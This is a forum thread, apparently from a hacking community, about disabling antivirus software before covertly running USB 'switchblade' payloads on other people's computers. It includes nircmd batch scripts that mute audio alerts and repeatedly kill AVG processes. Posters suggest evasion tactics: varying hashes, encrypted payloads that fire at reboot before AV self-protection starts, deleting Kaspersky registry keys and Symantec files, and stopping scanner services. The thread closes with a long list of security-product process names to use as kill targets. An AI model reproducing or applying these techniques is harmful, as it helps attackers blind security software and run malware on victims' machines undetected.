Jump to content

Alternative Method to Kill AV's.


Abigwar

Recommended Posts

Ok guys, We all know that the AVKill (csrss.exe) we use for our switchblades is outdated and flagged by every AV known. So I wanted to come up with an alternative method of killing AV's before launching our switchblades. If this works out, I think it would be a great addition to Leapos Pocket Knife.

What I decided to try, was using Nircmd's processkill command to elminate the AV processes. I was concerned that the AV would recognize the attempt and block it, or alert. For AV's such as Avast, we would want to make sure we mute the system speakers. (Note, We would want to do that anyway, because if Avast flags a virus it screams "A VIRUS HAS BEEN DETECTED"). Anyway, if a certain AV alerts to the attempt to kill it's process, what is the difference, because it is going to alert to running csrss.exe and some of our other tools. So long as it isn't audible, we still have time to get in and out with out immediete detection.

I tested this on AVG and it worked flawless and silently.

::Abigwar's First Attempt at Batch AVkiller

::Mute the system volume, in case of audible AV Alerts (Avast!)
nircmd mutesysvolume 1

::Kill AVG Command Center
nircmd killprocess avgcc.exe

::Kill other AVG Processes
nircmd killprocess avgemc.exe
nircmd killprocess avgupsvc.exe
nircmd killprocess avgamsvr.exe

::Restore system volume at end of switchblade
nircmd mutesysvolume 0

Now what I would like to ask from all of you, is to look at your system processes and lets make a list of the processes each virus scanner uses. When we have them all listed, we can then script it into the batch to kill all the applicitable processes. We also need to see how each AV reacts to the attempt to kill it's processes.

One other thing I was considering, that if an AV's process is persistant, we could loop the batch file to continue to run, and kill the process over and over. How that could work, is we would call the seperate Anti-AV batch file from the start.bat or go.bat, and let it loop until the switchblade ends. So at the end of the switch blade we would create a text file on the thumbdrive. The loop would stop when it sees the file, then delete it to make it ready for next time and end.

::Theoretical Loop batch

:Start
nircmd killprocess avgcc.exe
nircmd killprocess avgemc.exe
nircmd killprocess avgupsvc.exe
nircmd killprocess avgamsvr.exe

IF EXIST SWITCHDONE.TXT GOTO END
GOTO START
:END
delete switchdone.txt

Link to comment
Share on other sites

Maybe we should start putting what processes the AV we currenly have installed are running.. From there a new AVkiller can be made, and as long as the source code is posted and we have the ability to modify it when it does become detected then all new release of a payload should work without being nuked.

Link to comment
Share on other sites

This might have limited success with some of the lower-end AVs like AVG or Avast, but I can tell you right now that this won't work at all against better AVs like NOD32 and Kaspersky. They usually install low-level kernel/system hooks to prevent the process from being terminated from user space.

Link to comment
Share on other sites

ya you cant kill the processes for avast like that i have tried

you get some messed up error message and if you dont click on it to kill it then it wont even let you try to do it again until you restart your box

ive been trying to find a way to bypass avast for a while and if i do i will be sure to show how

thats all for now good bye

Link to comment
Share on other sites

Just a thought on my previous post, would this work?because i think its an excellent idea. You create a program that sends all the files that should be sent, all payloads etc. But these files need to be encrypted (to avoid detection) somehow and should to nothing but just hide. Once the computer is switched off and on again this is where it all happens. The program should kill the av before it can startup and enable self protection,such as in the case of Kaspersky, after which all payloads etc are decrypted and run. Sorta like a logic bomb, hows that for an idea?you think it would work?

Link to comment
Share on other sites

AutoIT has the function ProcessClose() that you could write a program to do it. Each program could be created with different hashes and names and it'd be hard for an AV software to catch it.

You could also try and use AFS with this.

Link to comment
Share on other sites

AutoIT might do the trick.

Visual Basic maybe also, but im not sure of that.

c/c++ won't work

Trying A Way Around Kaspersky @ The moment :)

*Edit*

Kaspersky process "AVP" can be killed with "NIAP_XRay_System", and Registry entries from HKLM\...\Kaspersky Lab\...protected can be deleted with "NIAPRegEdit". Can anyone confirm it. I have checked it, and was astonished. Although, AVP restarted itself, yet it is not a good thing.

http://www.rootkit.com/vault/uty/NIAPAntiRootkitTools.rar

Any1 Might know a way to prevent it from starting ?

Delete AVP.EXE ?

or create a fake AVP.EXE ?

Link to comment
Share on other sites

Just a small extra note, i do know that you can't kill Zone Alarm (zlclient.exe)

And i also know that Avast (newest version) now does a pop up when its about to close, it makes an overlay on your whole screen saying it has picked up a kill code more or less and whether you want it to continue.

What i have found in past versions of Norton and the latest version of Trend Micro. Is that instead of attacking the AV process it self is that you actually Stop the service(s). I know in Trend for a fact, that you can Stop then turn the service to Manual for the Real Time Scanner. But i dont know what will happen if they have a scheduled virus scan.

(But sersiously tho, i would say 90% of people trust their Real Time Scanner, and always stop the scheduled scan anyway)

Just some notes for thinking :)

Link to comment
Share on other sites

I second the changing of the service to manual instead of disable. It's least likely to create an alert. However, it will still probably create an alert lol.

From what I remember there's a couple sys files that can be deleted that'll kill Symantec. You'll have to do it in safe mode though.

Link to comment
Share on other sites

  • 3 weeks later...

Perhaps killing the entire anti-virus program is the wrong way to go about it. Killing the entire program is obviously going to be the most defended against by AV software vendors and the most likely to set off an alarm.

Has anyone considered merely disabling the components of the anti-virus suite that is causing us the problems? It may be much simpler to disable the resident shield component in many cases or to add the switchblade to the exceptions list from scans. In my experience dealing with McAfee and AVG, the programs are only discovered once loaded into RAM when scanned by the resident shield.

Just a few thoughts to keep everyone thinking.

Link to comment
Share on other sites

  • 3 weeks later...

MEtasploit comes with a ruby script to disable av which works the same as the old way but had a nice good list of process names of av.

_avp32.exe

_avpcc.exe

_avpm.exe

ackwin32.exe

adaware.exe

advxdwin.exe

agentsvr.exe

agentw.exe

alertsvc.exe

alevir.exe

alogserv.exe

amon9x.exe

anti-trojan.exe

antivirus.exe

ants.exe

apimonitor.exe

aplica32.exe

apvxdwin.exe

arr.exe

atcon.exe

atguard.exe

atro55en.exe

atupdater.exe

atwatch.exe

au.exe

aupdate.exe

auto-protect.nav80try.exe

autodown.exe

autotrace.exe

autoupdate.exe

avconsol.exe

ave32.exe

avgcc32.exe

avgctrl.exe

avgnt.exe

avguard.exe

avkserv.exe

avnt.exe

avp.exe

avp.exe

avp32.exe

avpcc.exe

avpdos32.exe

avpm.exe

avptc32.exe

avpupd.exe

avsched32.exe

avwin.exe

avwin95.exe

avwupd32.exe

blackd.exe

blackice.exe

cfiadmin.exe

cfiaudit.exe

cfinet.exe

cfinet32.exe

claw95.exe

claw95cf.exe

cleaner.exe

cleaner3.exe

defwatch.exe

dvp95.exe

dvp95_0.exe

ecengine.exe

esafe.exe

espwatch.exe

f-agnt95.exe

f-prot.exe

f-prot95.exe

f-stopw.exe

findviru.exe

fp-win.exe

fprot.exe

frw.exe

iamapp.exe

iamserv.exe

ibmasn.exe

ibmavsp.exe

icload95.exe

icloadnt.exe

icmon.exe

icsupp95.exe

icsuppnt.exe

iface.exe

iomon98.exe

jedi.exe

lockdown2000.exe

lookout.exe

luall.exe

moolive.exe

mpftray.exe

n32scanw.exe

navapw32.exe

navlu32.exe

navnt.exe

navw32.exe

navwnt.exe

nisum.exe

nmain.exe

normist.exe

nupgrade.exe

nvc95.exe

outpost.exe

padmin.exe

pavcl.exe

pavsched.exe

pavw.exe

pccwin98.exe

pcfwallicon.exe

persfw.exe

rav7.exe

rav7win.exe

rescue.exe

safeweb.exe

scan32.exe

scan95.exe

scanpm.exe

scrscan.exe

serv95.exe

smc.exe

sphinx.exe

sweep95.exe

tbscan.exe

tca.exe

tds2-98.exe

tds2-nt.exe

vet95.exe

vettray.exe

vscan40.exe

vsecomr.exe

vshwin32.exe

vsstat.exe

webscanx.exe

wfindv32.exe

zonealarm.exe

avgserv.exe

avgserv9.exe

avguard.exe

avgw.exe

avkpop.exe

avkserv.exe

avkservice.exe

avkwctl9.exe

avltmain.exe

avnt.exe

avp.exe

avp32.exe

avpcc.exe

avpdos32.exe

avpm.exe

avptc32.exe

avpupd.exe

avpupd.exe

avsched32.exe

avsynmgr.exe

avwinnt.exe

avwupd.exe

avwupd32.exe

avwupd32.exe

avwupsrv.exe

avxmonitor9x.exe

avxmonitornt.exe

avxquar.exe

avxquar.exe

backweb.exe

bargains.exe

bd_professional.exe

beagle.exe

belt.exe

bidef.exe

bidserver.exe

bipcp.exe

bipcpevalsetup.exe

bisp.exe

blackd.exe

blackice.exe

blss.exe

bootconf.exe

bootwarn.exe

borg2.exe

bpc.exe

brasil.exe

bs120.exe

bundle.exe

bvt.exe

ccapp.exe

ccevtmgr.exe

ccpxysvc.exe

cdp.exe

cfd.exe

cfgwiz.exe

cfiadmin.exe

cfiaudit.exe

cfiaudit.exe

cfinet.exe

cfinet32.exe

claw95cf.exe

clean.exe

cleaner.exe

cleaner3.exe

cleanpc.exe

click.exe

cmd.exe

cmd32.exe

cmesys.exe

cmgrdian.exe

cmon016.exe

connectionmonitor.exe

cpd.exe

cpf9x206.exe

cpfnt206.exe

ctrl.exe

cv.exe

cwnb181.exe

cwntdwmo.exe

datemanager.exe

dcomx.exe

defalert.exe

defscangui.exe

defwatch.exe

deputy.exe

divx.exe

dllcache.exe

dllreg.exe

doors.exe

dpf.exe

dpfsetup.exe

dpps2.exe

drwatson.exe

drweb32.exe

drwebupw.exe

dssagent.exe

dvp95.exe

dvp95_0.exe

ecengine.exe

efpeadm.exe

emsw.exe

ent.exe

esafe.exe

escanhnt.exe

escanv95.exe

espwatch.exe

ethereal.exe

etrustcipe.exe

evpn.exe

exantivirus-cnet.exe

exe.avxw.exe

expert.exe

explore.exe

fameh32.exe

fast.exe

fch32.exe

fih32.exe

findviru.exe

firewall.exe

fnrb32.exe

fprot.exe

f-prot.exe

f-prot95.exe

fp-win.exe

fp-win_trial.exe

frw.exe

fsaa.exe

fsav.exe

fsav32.exe

fsav530stbyb.exe

fsav530wtbyb.exe

fsav95.exe

fsgk32.exe

fsm32.exe

fsma32.exe

fsmb32.exe

f-stopw.exe

gator.exe

gbmenu.exe

gbpoll.exe

generics.exe

gmt.exe

guard.exe

guarddog.exe

hacktracersetup.exe

hbinst.exe

hbsrv.exe

hotactio.exe

hotpatch.exe

htlog.exe

htpatch.exe

hwpe.exe

hxdl.exe

hxiul.exe

iamapp.exe

iamserv.exe

iamstats.exe

ibmasn.exe

ibmavsp.exe

icloadnt.exe

icmon.exe

icsupp95.exe

icsuppnt.exe

idle.exe

iedll.exe

iedriver.exe

iexplorer.exe

iface.exe

ifw2000.exe

inetlnfo.exe

infus.exe

infwin.exe

init.exe

intdel.exe

intren.exe

iomon98.exe

istsvc.exe

jammer.exe

jdbgmrg.exe

jedi.exe

kavlite40eng.exe

kavpers40eng.exe

kavpf.exe

kazza.exe

keenvalue.exe

kerio-pf-213-en-win.exe

kerio-wrl-421-en-win.exe

kerio-wrp-421-en-win.exe

kernel32.exe

killprocesssetup161.exe

launcher.exe

ldnetmon.exe

ldpro.exe

ldpromenu.exe

ldscan.exe

lnetinfo.exe

loader.exe

localnet.exe

lockdown.exe

lockdown2000.exe

lookout.exe

lordpe.exe

lsetup.exe

luall.exe

luall.exe

luau.exe

lucomserver.exe

luinit.exe

luspt.exe

mapisvc32.exe

mcagent.exe

mcmnhdlr.exe

mcshield.exe

mctool.exe

mcupdate.exe

mcupdate.exe

mcvsrte.exe

mcvsshld.exe

md.exe

mfin32.exe

mfw2en.exe

mfweng3.02d30.exe

mgavrtcl.exe

mgavrte.exe

mghtml.exe

mgui.exe

minilog.exe

mmod.exe

monitor.exe

moolive.exe

mostat.exe

mpfagent.exe

mpfservice.exe

mpftray.exe

mrflux.exe

msapp.exe

msbb.exe

msblast.exe

mscache.exe

msccn32.exe

mscman.exe

msconfig.exe

msdm.exe

msdos.exe

msiexec16.exe

msinfo32.exe

mslaugh.exe

msmgt.exe

msmsgri32.exe

mssmmc32.exe

mssys.exe

msvxd.exe

mu0311ad.exe

mwatch.exe

n32scanw.exe

nav.exe

navap.navapsvc.exe

navapsvc.exe

navapw32.exe

navdx.exe

navlu32.exe

navnt.exe

navstub.exe

navw32.exe

navwnt.exe

nc2000.exe

ncinst4.exe

ndd32.exe

neomonitor.exe

neowatchlog.exe

netarmor.exe

netd32.exe

netinfo.exe

netmon.exe

netscanpro.exe

netspyhunter-1.2.exe

netstat.exe

netutils.exe

nisserv.exe

nisum.exe

nmain.exe

nod32.exe

normist.exe

norton_internet_secu_3.0_407.exe

notstart.exe

npf40_tw_98_nt_me_2k.exe

npfmessenger.exe

nprotect.exe

npscheck.exe

npssvc.exe

nsched32.exe

nssys32.exe

nstask32.exe

nsupdate.exe

nt.exe

ntrtscan.exe

ntvdm.exe

ntxconfig.exe

nui.exe

nupgrade.exe

nupgrade.exe

nvarch16.exe

nvc95.exe

nvsvc32.exe

nwinst4.exe

nwservice.exe

nwtool16.exe

ollydbg.exe

onsrvr.exe

optimize.exe

ostronet.exe

otfix.exe

outpost.exe

outpost.exe

outpostinstall.exe

outpostproinstall.exe

padmin.exe

panixk.exe

patch.exe

pavcl.exe

pavproxy.exe

pavsched.exe

pavw.exe

pcfwallicon.exe

pcip10117_0.exe

pcscan.exe

pdsetup.exe

periscope.exe

persfw.exe

perswf.exe

pf2.exe

pfwadmin.exe

pgmonitr.exe

pingscan.exe

platin.exe

pop3trap.exe

poproxy.exe

popscan.exe

portdetective.exe

portmonitor.exe

powerscan.exe

ppinupdt.exe

pptbc.exe

ppvstop.exe

prizesurfer.exe

prmt.exe

prmvr.exe

procdump.exe

processmonitor.exe

procexplorerv1.0.exe

programauditor.exe

proport.exe

protectx.exe

pspf.exe

purge.exe

qconsole.exe

qserver.exe

rapapp.exe

rav7.exe

rav7win.exe

rav8win32eng.exe

ray.exe

rb32.exe

rcsync.exe

realmon.exe

reged.exe

regedit.exe

regedt32.exe

rescue.exe

rescue32.exe

rrguard.exe

rshell.exe

rtvscan.exe

rtvscn95.exe

rulaunch.exe

run32dll.exe

rundll.exe

rundll16.exe

ruxdll32.exe

safeweb.exe

sahagent.exe

save.exe

savenow.exe

sbserv.exe

sc.exe

scam32.exe

scan32.exe

scan95.exe

scanpm.exe

scrscan.exe

setup_flowprotector_us.exe

setupvameeval.exe

sfc.exe

sgssfw32.exe

sh.exe

shellspyinstall.exe

shn.exe

showbehind.exe

smc.exe

sms.exe

smss32.exe

soap.exe

sofi.exe

sperm.exe

spf.exe

sphinx.exe

spoler.exe

spoolcv.exe

spoolsv32.exe

spyxx.exe

srexe.exe

srng.exe

ss3edit.exe

ssg_4104.exe

ssgrate.exe

st2.exe

start.exe

stcloader.exe

supftrl.exe

support.exe

supporter5.exe

svc.exe

svchostc.exe

svchosts.exe

svshost.exe

sweep95.exe

sweepnet.sweepsrv.sys.swnetsup.exe

symproxysvc.exe

symtray.exe

sysedit.exe

system.exe

system32.exe

sysupd.exe

taskmg.exe

taskmgr.exe

taskmo.exe

taskmon.exe

taumon.exe

tbscan.exe

tc.exe

tca.exe

tcm.exe

tds2-nt.exe

tds-3.exe

teekids.exe

tfak.exe

tfak5.exe

tgbob.exe

titanin.exe

titaninxp.exe

tracert.exe

trickler.exe

trjscan.exe

trjsetup.exe

trojantrap3.exe

tsadbot.exe

tvmd.exe

tvtmd.exe

undoboot.exe

updat.exe

update.exe

update.exe

upgrad.exe

utpost.exe

vbcmserv.exe

vbcons.exe

vbust.exe

vbwin9x.exe

vbwinntw.exe

vcsetup.exe

vet32.exe

vet95.exe

vettray.exe

vfsetup.exe

vir-help.exe

virusmdpersonalfirewall.exe

vnlan300.exe

vnpc3000.exe

vpc32.exe

vpc42.exe

vpfw30s.exe

vptray.exe

vscan40.exe

vscenu6.02d30.exe

vsched.exe

vsecomr.exe

vshwin32.exe

vsisetup.exe

vsmain.exe

vsmon.exe

vsstat.exe

vswin9xe.exe

vswinntse.exe

vswinperse.exe

w32dsm89.exe

w9x.exe

watchdog.exe

webdav.exe

webscanx.exe

webtrap.exe

wfindv32.exe

whoswatchingme.exe

wimmun32.exe

win32.exe

win32us.exe

winactive.exe

win-bugsfix.exe

window.exe

windows.exe

wininetd.exe

wininit.exe

wininitx.exe

winlogin.exe

winmain.exe

winnet.exe

winppr32.exe

winrecon.exe

winservn.exe

winssk32.exe

winstart.exe

winstart001.exe

wintsk32.exe

winupdate.exe

wkufind.exe

wnad.exe

wnt.exe

wradmin.exe

wrctrl.exe

wsbgate.exe

wupdater.exe

wupdt.exe

wyvernworksfirewall.exe

xpf202en.exe

zapro.exe

zapsetup3001.exe

zatutor.exe

zonalm2601.exe

zonealarm.exe

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...